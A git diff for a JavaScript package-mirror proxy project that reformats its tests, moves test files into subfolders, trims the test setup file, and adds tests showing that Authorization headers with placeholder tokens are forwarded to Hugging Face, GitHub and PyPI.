index c7644fb..cc2b413 100644
--- a/test/index.test.js
+++ b/test/index.test.js
@@ -176,7 +176,7 @@ describe('Xget Core Functionality', () => {
describe('Path Length Validation', () => {
it('should reject extremely long paths', async () => {
- const longPath = '/gh/' + 'a'.repeat(3000);
+ const longPath = `/gh/${'a'.repeat(3000)}`;
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
@@ -241,7 +241,7 @@ describe('Xget Core Functionality', () => {
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
- `https://xget.xi-xu.me/npm/$1`
+ 'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
diff --git a/test/integration.test.js b/test/integration.test.js
index 202d886..f0cdd3d 100644
--- a/test/integration.test.js
+++ b/test/integration.test.js
@@ -125,7 +125,7 @@ describe('Integration Tests', () => {
method: 'POST',
headers: {
'Content-Type': 'application/vnd.git-lfs+json',
- 'Accept': 'application/vnd.git-lfs+json',
+ Accept: 'application/vnd.git-lfs+json',
'User-Agent': 'git-lfs/3.0.0'
},
body: JSON.stringify({
@@ -143,11 +143,12 @@ describe('Integration Tests', () => {
});
it('should handle LFS object download requests', async () => {
- const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
+ const testUrl =
+ 'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0',
- 'Accept': 'application/octet-stream'
+ Accept: 'application/octet-stream'
}
});
@@ -160,7 +161,7 @@ describe('Integration Tests', () => {
method: 'POST',
headers: {
'User-Agent': 'git-lfs/3.0.0',
- 'Accept': 'application/vnd.git-lfs+json',
+ Accept: 'application/vnd.git-lfs+json',
'Content-Type': 'application/vnd.git-lfs+json'
},
body: '{}'
@@ -438,4 +439,72 @@ describe('Integration Tests', () => {
});
});
});
+
+ describe('Authentication Header Forwarding', () => {
+ it('should forward Authorization header for Hugging Face requests', async () => {
+ // Test with a Hugging Face dataset file that would require authentication
+ const testUrl = 'https://example.com/hf/datasets/test/private-dataset/resolve/main/data.csv';
+ const authToken = 'Bearer hf_test_token_12345';
+
+ const response = await SELF.fetch(testUrl, {
+ method: 'HEAD',
+ headers: {
+ Authorization: authToken
+ }
+ });
+
+ // Should accept the request (not 400 bad request)
+ expect(response.status).not.toBe(400);
+ // Should attempt to proxy to HF with auth (status depends on actual HF response)
+ expect([200, 401, 403, 404]).toContain(response.status);
+ });
+
+ it('should forward Authorization header for GitHub API requests', async () => {
+ const testUrl = 'https://example.com/gh/test/private-repo/README.md';
+ const authToken = 'Bearer ghp_test_token_12345';
+
+ const response = await SELF.fetch(testUrl, {
+ method: 'HEAD',
+ headers: {
+ Authorization: authToken
+ }
+ });
+
+ // Should accept the request and forward the auth header
+ expect(response.status).not.toBe(400);
+ expect([200, 401, 403, 404]).toContain(response.status);
+ });
+
+ it('should forward Authorization header for PyPI authenticated requests', async () => {
+ const testUrl = 'https://example.com/pypi/simple/private-package/';
+ const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU=';
+
+ const response = await SELF.fetch(testUrl, {
+ method: 'HEAD',
+ headers: {
+ Authorization: authToken
+ }
+ });
+
+ // Should accept the request
+ expect(response.status).not.toBe(400);
+ expect([200, 401, 403, 404]).toContain(response.status);
+ });
+
+ it('should work with gated Hugging Face models', async () => {
+ // Simulate a request to a gated model that requires authentication
+ const testUrl = 'https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json';
+ const authToken = 'Bearer hf_authenticated_token';
+
+ const response = await SELF.fetch(testUrl, {
+ headers: {
+ Authorization: authToken
+ }
+ });
+
+ // Should attempt to proxy with authentication
+ // The actual status depends on whether the token is valid and the model exists
+ expect(response.status).not.toBe(400);
+ });
+ });
});
diff --git a/test/container-registry.test.js b/test/platforms/container-registry.test.js
similarity index 93%
rename from test/container-registry.test.js
rename to test/platforms/container-registry.test.js
index fcd8ea7..253ef37 100644
--- a/test/container-registry.test.js
+++ b/test/platforms/container-registry.test.js
@@ -253,7 +253,8 @@ describe('Container Registry Support', () => {
it('should handle Docker Hub user images (namespace/image format)', async () => {
// User images already have namespace prefix
- const testUrl = 'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
+ const testUrl =
+ 'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
const response = await SELF.fetch(testUrl, {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
@@ -265,29 +266,23 @@ describe('Container Registry Support', () => {
});
it('should allow GET for Docker Hub manifest requests', async () => {
- const response = await SELF.fetch(
- 'https://example.com/cr/docker/v2/nginx/manifests/latest',
- {
- method: 'GET',
- headers: {
- Accept: 'application/vnd.docker.distribution.manifest.v2+json'
- }
+ const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
+ method: 'GET',
+ headers: {
+ Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
- );
+ });
expect(response.status).not.toBe(405);
});
it('should allow HEAD for Docker Hub manifest requests', async () => {
- const response = await SELF.fetch(
- 'https://example.com/cr/docker/v2/nginx/manifests/latest',
- {
- method: 'HEAD',
- headers: {
- Accept: 'application/vnd.docker.distribution.manifest.v2+json'
- }
+ const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
+ method: 'HEAD',
+ headers: {
+ Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
- );
+ });
expect(response.status).not.toBe(405);
});
diff --git a/test/cran.test.js b/test/platforms/cran.test.js
similarity index 95%
rename from test/cran.test.js
rename to test/platforms/cran.test.js
index 674abc2..e1ec94c 100644
--- a/test/cran.test.js
+++ b/test/platforms/cran.test.js
@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
-import { PLATFORMS, transformPath } from '../src/config/platforms.js';
+import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
describe('CRAN Platform Configuration', () => {
it('should have CRAN platform configured', () => {
diff --git a/test/crates.test.js b/test/platforms/crates.test.js
similarity index 94%
rename from test/crates.test.js
rename to test/platforms/crates.test.js
index 8d7409d..f438060 100644
--- a/test/crates.test.js
+++ b/test/platforms/crates.test.js
@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
-import { transformPath } from '../src/config/platforms.js';
+import { transformPath } from '../../src/config/platforms.js';
describe('crates.io path transformation', () => {
it('should transform crate download URLs correctly', () => {
diff --git a/test/homebrew.test.js b/test/platforms/homebrew.test.js
similarity index 97%
rename from test/homebrew.test.js
rename to test/platforms/homebrew.test.js
index a9da2a5..b309eee 100644
--- a/test/homebrew.test.js
+++ b/test/platforms/homebrew.test.js
@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
-import { transformPath } from '../src/config/platforms.js';
+import { transformPath } from '../../src/config/platforms.js';
describe('Homebrew path transformation', () => {
describe('homebrew-api platform', () => {
diff --git a/test/jenkins.test.js b/test/platforms/jenkins.test.js
similarity index 98%
rename from test/jenkins.test.js
rename to test/platforms/jenkins.test.js
index 42b78ed..c93e45f 100644
--- a/test/jenkins.test.js
+++ b/test/platforms/jenkins.test.js
@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
-import { transformPath } from '../src/config/platforms.js';
+import { transformPath } from '../../src/config/platforms.js';
describe('Jenkins Plugin Support', () => {
describe('Update Center Transformations', () => {
diff --git a/test/npm-fix.test.js b/test/platforms/npm-fix.test.js
similarity index 95%
rename from test/npm-fix.test.js
rename to test/platforms/npm-fix.test.js
index 4addcce..2bc4f96 100644
--- a/test/npm-fix.test.js
+++ b/test/platforms/npm-fix.test.js
@@ -16,7 +16,7 @@ describe('npm URL Rewriting Fix', () => {
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
- `https://xget.xi-xu.me/npm/$1`
+ 'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
@@ -41,7 +41,7 @@ describe('npm URL Rewriting Fix', () => {
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
- `https://xget.xi-xu.me/npm/$1`
+ 'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
@@ -67,7 +67,7 @@ describe('npm URL Rewriting Fix', () => {
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry\.npmjs\.org\/([^\/]+)/g,
- `https://xget.xi-xu.me/npm/$1`
+ 'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
diff --git a/test/opensuse.test.js b/test/platforms/opensuse.test.js
similarity index 96%
rename from test/opensuse.test.js
rename to test/platforms/opensuse.test.js
index d31edc0..a05a17f 100644
--- a/test/opensuse.test.js
+++ b/test/platforms/opensuse.test.js
@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
-import { PLATFORMS, transformPath } from '../src/config/platforms.js';
+import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
describe('openSUSE Platform Configuration', () => {
it('should have openSUSE platform configured', () => {
diff --git a/test/setup.js b/test/setup.js
index b5c16d8..3a6eae3 100644
--- a/test/setup.js
+++ b/test/setup.js
@@ -1,117 +1,20 @@
/**
* Test setup and global configuration
+ * Simplified version - only essential setup
*/
-import { afterAll, afterEach, beforeAll, beforeEach } from 'vitest';
-
-// Global test configuration
-const TEST_CONFIG = {
- timeout: 30000, // 30 seconds
- retries: 2,
- bail: false
-};
-
-// Global test state
-let testStartTime;
-let testMetrics = {
- totalTests: 0,
- passedTests: 0,
- failedTests: 0,
- skippedTests: 0
-};
+import { beforeAll } from 'vitest';
/**
* Global setup - runs once before all tests
*/
beforeAll(async () => {
- console.log('š Starting Xget test suite...');
- testStartTime = Date.now();
-
- // Initialize test environment
- await setupTestEnvironment();
-
- // Verify test dependencies
- await verifyTestDependencies();
-
- console.log('ā
Test environment initialized');
-});
-
-/**
- * Global teardown - runs once after all tests
- */
-afterAll(async () => {
- const duration = Date.now() - testStartTime;
-
- console.log('\nš Test Suite Summary:');
- console.log(` Duration: ${duration}ms`);
- console.log(` Total: ${testMetrics.totalTests}`);
- console.log(` Passed: ${testMetrics.passedTests}`);
- console.log(` Failed: ${testMetrics.failedTests}`);
- console.log(` Skipped: ${testMetrics.skippedTests}`);
-
- // Cleanup test environment
- await cleanupTestEnvironment();
-
- console.log('š Test suite completed');
-});
-
-/**
- * Setup before each test
- */
-beforeEach(async context => {
- testMetrics.totalTests++;
-
- // Reset any global state
- resetGlobalState();
-
- // Setup test-specific environment
- await setupTestCase(context);
-});
-
-/**
- * Cleanup after each test
- */
-afterEach(async context => {
- // Update test metrics based on result
- if (context.meta?.result === 'pass') {
- testMetrics.passedTests++;
- } else if (context.meta?.result === 'fail') {
- testMetrics.failedTests++;
- } else if (context.meta?.result === 'skip') {
- testMetrics.skippedTests++;
- }
-
- // Cleanup test-specific resources
- await cleanupTestCase(context);
-});
-
-/**
- * Setup test environment
- */
-async function setupTestEnvironment() {
// Verify Cloudflare Workers environment
if (typeof globalThis.fetch === 'undefined') {
throw new Error('fetch is not available in test environment');
}
- // Setup global test utilities
- globalThis.TEST_CONFIG = TEST_CONFIG;
-
- // Initialize performance monitoring
- if (typeof performance === 'undefined') {
- globalThis.performance = {
- now: () => Date.now()
- };
- }
-
- // Setup console overrides for testing
- setupConsoleOverrides();
-}
-
-/**
- * Verify test dependencies
- */
-async function verifyTestDependencies() {
+ // Verify required Web APIs
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
for (const global of requiredGlobals) {
@@ -129,162 +32,11 @@ async function verifyTestDependencies() {
} catch (error) {
console.warn('Warning: Cloudflare Workers test environment not available');
}
-}
-/**
- * Setup console overrides for testing
- */
-function setupConsoleOverrides() {
- const originalConsole = { ...console };
-
- // Store original console methods
- globalThis.originalConsole = originalConsole;
-
- // Override console methods for testing
- console.warn = (...args) => {
- if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
- originalConsole.warn(...args);
- }
- };
-
- console.log = (...args) => {
- if (process.env.NODE_ENV !== 'test' || process.env.VERBOSE_TESTS) {
- originalConsole.log(...args);
- }
- };
-}
-
-/**
- * Reset global state between tests
- */
-function resetGlobalState() {
- // Clear any cached data
- if (globalThis.testCache) {
- globalThis.testCache.clear();
+ // Setup performance API if not available
+ if (typeof performance === 'undefined') {
+ globalThis.performance = {
+ now: () => Date.now()
+ };
}
-
- // Reset performance counters
- if (globalThis.testPerformance) {
- globalThis.testPerformance.reset();
- }
-}
-
-/**
- * Setup individual test case
- */
-async function setupTestCase(context) {
- // Create test-specific cache
- globalThis.testCache = new Map();
-
- // Setup test-specific performance monitoring
- globalThis.testPerformance = {
- marks: new Map(),
- mark: name => {
- globalThis.testPerformance.marks.set(name, performance.now());
- },
- measure: (name, startMark, endMark) => {
- const start = globalThis.testPerformance.marks.get(startMark) || 0;
- const end = globalThis.testPerformance.marks.get(endMark) || performance.now();
- return end - start;
- },
- reset: () => {
- globalThis.testPerformance.marks.clear();
- }
- };
-
- // Mark test start time
- globalThis.testPerformance.mark('test-start');
-}
-
-/**
- * Cleanup individual test case
- */
-async function cleanupTestCase(context) {
- // Mark test end time
- globalThis.testPerformance.mark('test-end');
-
- // Log test performance if verbose
- if (process.env.VERBOSE_TESTS) {
- const duration = globalThis.testPerformance.measure('test-duration', 'test-start', 'test-end');
- console.log(`Test "${context.meta?.name}" took ${duration.toFixed(2)}ms`);
- }
-
- // Cleanup test-specific resources
- if (globalThis.testCache) {
- globalThis.testCache.clear();
- }
-
- if (globalThis.testPerformance) {
- globalThis.testPerformance.reset();
- }
-}
-
-/**
- * Cleanup test environment
- */
-async function cleanupTestEnvironment() {
- // Restore original console
- if (globalThis.originalConsole) {
- Object.assign(console, globalThis.originalConsole);
- delete globalThis.originalConsole;
- }
-
- // Cleanup global test utilities
- delete globalThis.TEST_CONFIG;
- delete globalThis.testCache;
- delete globalThis.testPerformance;
-}
-
-/**
- * Custom test utilities available globally
- */
-globalThis.testUtils = {
- /**
- * Create a test timeout
- */
- timeout: ms =>
- new Promise((_, reject) => {
- setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
- }),
-
- /**
- * Wait for a condition to be true
- */
- waitFor: async (condition, timeout = 5000, interval = 100) => {
- const start = Date.now();
-
- while (Date.now() - start < timeout) {
- if (await condition()) {
- return true;
- }
- await new Promise(resolve => setTimeout(resolve, interval));
- }
-
- throw new Error(`Condition not met within ${timeout}ms`);
- },
-
- /**
- * Retry a function with exponential backoff
- */
- retry: async (fn, maxRetries = 3, baseDelay = 100) => {
- let lastError;
-
- for (let i = 0; i < maxRetries; i++) {
- try {
- return await fn();
- } catch (error) {
- lastError = error;
-
- if (i < maxRetries - 1) {
- const delay = baseDelay * Math.pow(2, i);
- await new Promise(resolve => setTimeout(resolve, delay));
- }
- }
- }
-
- throw lastError;
- }
-};
-
-// Export test configuration for use in other files
-export { TEST_CONFIG, testMetrics };
+});
diff --git a/test/platforms.test.js b/test/unit/platforms.test.js
similarity index 99%
rename from test/platforms.test.js
rename to test/unit/platforms.test.js
index c79b84a..4c7a679 100644
--- a/test/platforms.test.js
+++ b/test/unit/platforms.test.js
@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
-import { PLATFORMS, transformPath } from '../src/config/platforms.js';
+import { PLATFORMS, transformPath } from '../../src/config/platforms.js';
describe('Platform Configuration', () => {
describe('Platform Definitions', () => {
diff --git a/test/utils.test.js b/test/unit/utils.test.js
similarity index 97%
rename from test/utils.test.js
rename to test/unit/utils.test.js
index 5c96338..8df83a2 100644
--- a/test/utils.test.js
+++ b/test/unit/utils.test.js
@@ -52,9 +52,11 @@ function isGitLFSRequest(request, url) {
// Check for LFS-specific headers
const accept = request.headers.get('Accept') || '';
const contentType = request.headers.get('Content-Type') || '';
-
- if (accept.includes('application/vnd.git-lfs') ||
- contentType.includes('application/vnd.git-lfs')) {
+
+ if (
+ accept.includes('application/vnd.git-lfs') ||
+ contentType.includes('application/vnd.git-lfs')
+ ) {
return true;
}
@@ -184,7 +186,9 @@ describe('Utility Functions', () => {
});
it('should identify LFS object storage requests by path', () => {
- const request = new Request('https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd');
+ const request = new Request(
+ 'https://example.com/repo.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd'
+ );
const url = new URL(request.url);
expect(isGitLFSRequest(request, url)).toBe(true);
@@ -192,7 +196,7 @@ describe('Utility Functions', () => {
it('should identify LFS requests by Accept header', () => {
const request = new Request('https://example.com/repo.git/objects/batch', {
- headers: { 'Accept': 'application/vnd.git-lfs+json' }
+ headers: { Accept: 'application/vnd.git-lfs+json' }
});
const url = new URL(request.url);
@@ -278,7 +282,7 @@ describe('Utility Functions', () => {
});
it('should reject extremely long paths', () => {
- const longPath = '/' + 'a'.repeat(3000);
+ const longPath = `/${'a'.repeat(3000)}`;
const request = new Request(`https://example.com${longPath}`);
const url = new URL(request.url);
diff --git a/tsconfig.json b/tsconfig.json
index 6ff01fb..d7331c9 100644
--- a/tsconfig.json
+++ b/tsconfig.json
@@ -1,27 +1,17 @@
{
- "compilerOptions": {
- "allowJs": true,
- "checkJs": true,
- "esModuleInterop": true,
- "forceConsistentCasingInFileNames": true,
- "module": "ESNext",
- "moduleResolution": "node",
- "noEmit": true,
- "skipLibCheck": true,
- "strict": true,
- "target": "ES2022",
- "types": [
- "@cloudflare/workers-types",
- "vitest/globals"
- ]
- },
- "exclude": [
- "node_modules",
- "dist",
- "coverage"
- ],
- "include": [
- "src/**/*",
- "test/**/*"
- ]
-}
\ No newline at end of file
+ "compilerOptions": {
+ "allowJs": true,
+ "checkJs": true,
+ "esModuleInterop": true,
+ "forceConsistentCasingInFileNames": true,
+ "module": "ESNext",
+ "moduleResolution": "node",
+ "noEmit": true,
+ "skipLibCheck": true,
+ "strict": true,
+ "target": "ES2022",
+ "types": ["@cloudflare/workers-types", "vitest/globals"]
+ },
+ "exclude": ["node_modules", "dist", "coverage"],
+ "include": ["src/**/*", "test/**/*"]
+}